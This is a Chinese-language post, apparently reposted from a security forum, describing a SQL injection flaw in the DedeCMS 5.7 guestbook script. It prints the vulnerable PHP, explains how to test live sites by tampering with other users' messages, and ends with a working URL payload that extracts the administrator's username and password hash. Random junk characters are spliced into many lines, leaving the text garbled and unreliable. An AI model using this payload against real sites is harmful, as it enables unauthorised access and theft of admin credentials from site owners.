dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

9 ?' q% K; u) k( a  k" H0 [漏洞文件edit.inc.php具体代码：

) j8 c; o) Z( Y+ X2 j* x1 g< ?php  
) n0 @! [7 E/ P/ j: _! [3 l4 ^$ V
if(!defined('DEDEINC')) exit('Request Error!');  
2 o& n! O; B. n9 r: a
- z% V8 E- m* K0 L  s- F9 z% F   

; I* r3 |. ^+ J+ M6 r( E  qif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

1 d* W& X9 K2 r+ Y) S6 T( K7 jelse $GUEST_BOOK_POS = "guestbook.php";  
9 E+ d  \1 i  ~- I
   
% n! y9 Y) k. Y% O# v# r
$id = intval($id);  
5 x( Z2 q- S0 U; {
- x% q! k' Z- L; I/ P+ Hif(empty($job)) $job='view';  

' M( P& l5 p! {  Z' I$ Y$ \/ g( I   

( z, ]) m" `$ z) H* wif($job=='del' && $g_isadmin)  
0 ?1 u( Q% s8 l' p6 m
{  
+ Q; W1 h, h: o" a3 d3 x
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
2 b! o  ^- C) n8 C( ?
# W7 r- ]7 ?/ K+ ~& b$ sexit();  

}  

else if($job=='check' && $g_isadmin)  
( z6 n* {8 W2 V
{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
9 q# `7 z5 N1 g1 q  t8 g/ x* j: m
8 y; E! ^( J* I6 p& G: DShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  
: C) |( D$ H) L
}  
5 V5 h" W8 `. `  Z
% O! q* W2 ^& {else if($job=='editok')  

4 B" G7 w5 [/ q9 H$ v{  
; c6 X$ D. Y/ m: n) |
$remsg = trim($remsg);  
2 u. O) A, q6 p5 r7 C
% x0 t; \6 ]; D6 Cif($remsg!='')  
8 T3 _; }) ]  m: ]  [. j5 d( F
  u, X8 r/ e$ Q# G3 T. @' E, k* z{  
" L0 j( j7 @, P/ X- ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

" K0 z2 i5 X5 f  [: l( P1 Q{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  
3 I) N, l. m3 V- H
$ C: Y" O- _2 ^else
/ M- J( Q; j, f& w7 \8 w* w
{  

: i& a4 o/ T) i% v6 C9 {$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
& H; ~; H2 b( K) M
5 Z3 h9 L) T, s9 W$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

. L0 i, O& ~* j& T1 ]$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! d1 q* M7 Y5 i" D
/ x% s+ v& J* L' n; H! z4 N  Z5 \5 e$msg = $oldmsg.$remsg;  
$ l' e# a% R) X6 J( M3 H" G  L
; w' _$ Y2 ?1 v5 G}  

, x; J" u- V" H) x+ m- c  f) s! M( w}  

% H6 C# E8 `; I//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
  e9 X' i. n; K- |  y) B* u
5 R+ B; @; f6 S3 P0 ?9 J( ^$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
  ]. Z* [* s# N
* _( e( v. M! r4 k9 RShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  
& b8 ^) X0 B$ s9 Q# n; J9 y* \2 @
% ?- N/ T. T) T& B. M}  
3 [3 r7 r6 U4 G# z( a
//home:www.errs.cc  

9 s7 |5 e3 `; B+ j& E9 C8 Xif($g_isadmin)  

) ]% g' s+ q' n* N: m' \0 }& U{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
4 u/ r' B% w0 x# t" }
% V: b7 m1 o3 z! M: u# r' \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

; N0 d( Q, s8 c! y) O4 Selse
" ?1 h; T; r( y9 F0 i
3 `+ R4 Y2 _& k7 Y; a2 z. o/ G{  

% }. m) V9 y% v3 [+ ]+ I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 E6 k9 W* C; g. c+ \
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
# W+ C  q- h1 u
0 A7 S, P% g, c* V* a1 `} 漏洞成功需要条件：
( d; A2 X# ~6 v6 l1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
' m7 n# v* C8 S1 {/ \, J7 R
怎么判断是否存在漏洞：
( N4 g! U: Z* }; D- W! g先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
' }4 n# F+ S: S
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% a0 g% x1 H; U- B

: j) A+ S1 k) T明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 G2 P+ u$ O' q那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
/ [% P: w$ v; R% ?; q4 G
大概利用就是这样，大家有兴趣的多研究下！！
8 `4 U+ m/ w% Q1 I6 F6 Z3 X+ j" n8 b
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

; _: ?) z+ q0 _% Eview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='